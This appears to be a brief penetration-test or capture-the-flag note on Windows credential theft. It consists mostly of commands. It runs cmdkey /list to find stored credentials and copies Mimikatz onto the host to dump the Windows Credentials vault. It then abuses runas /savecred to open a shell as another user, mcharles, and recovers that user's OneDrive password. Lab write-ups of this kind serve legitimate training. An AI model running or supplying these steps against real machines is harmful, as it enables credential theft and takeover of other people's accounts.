whoami
cmdkey /list

Copying Mimikatz.exe to the machine and running it as sadams users

.\mimikatz.exe
privilege::debug
vault::list
vault::cred /vault:Windows Credentials

No luck we do not get the creds

We try to run cmd as mcharles

runas /savecred /user:SRV01\mcharles cmd

We get a new cmd so we run mimikatz using this cmd

.\mimikatz.exe
privilege::debug
vault::list
vault::cred /vault:Windows Credentials

We get the onedrive password of the user mcharles